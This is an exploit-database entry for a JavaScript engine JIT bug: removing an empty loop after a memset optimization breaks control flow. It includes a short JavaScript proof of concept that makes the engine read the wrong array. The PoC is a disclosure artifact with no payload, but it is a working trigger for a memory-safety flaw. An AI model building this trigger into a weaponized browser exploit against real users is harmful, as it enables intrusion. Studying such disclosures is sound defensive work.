header-logo
Suggest Exploit
vendor:
N/A
by:
Anonymous
8.8
CVSS
HIGH
Memory Operation Optimization
843
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: No
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: N/A
2020

Empty Loop Optimization Vulnerability

This vulnerability occurs when optimizations for memory operations leave empty loops which can break the control flow. This can be exploited by an attacker to cause unexpected behavior in the program. In the PoC, the empty loop is removed without considering branches, which causes the program to print out 1234 instead of 0.

Mitigation:

Ensure that empty loops are not removed during optimization.
Source

Exploit-DB raw data:

/*
The optimizations for memory operations may leave empty loops as follows:

for (let i = 0; i < arr.length; i++) {
    arr[i] = 0;
}

Becomes:

Memset(arr, 0, arr.length);
for (let i = 0; i < arr.length; i++) {
    // empty!
}

These empty loops will be removed by "BackwardPass::RemoveEmptyLoopAfterMemOp". But this method just removes them without considering branches.

Here's what may happen.

A:
Memset(arr, 0, arr.length);

for (let i = 0; i < arr.length; i++) {
    
}
goto D;  // Actually, this's a "BrGe_I4" instruction in the PoC.

C:
...

D:
...

Becomes:

A:
Memset(arr, 0, arr.length);

C:
...

D:
...

So, this may break the control flow.


PoC:
*/

function opt(a, b, always_true = true) {
    a[0] = 1234;
    b[0] = 0;

    let arr = a;
    if (always_true) {
        arr = b;
        for (let i = 0; i < arr.length; i++)
            arr[i] = 0;
    }

    let val = arr[0];
    if (val) {
        print(val);  // Must be 0, but prints out 1234
        return true;
    }

    return false;
}

let a = new Uint32Array(1);
let b = new Uint32Array(0x1000);
for (let i = 0; i < 10000; i++) {
    if (opt(a, b)) {
        break;
    }
}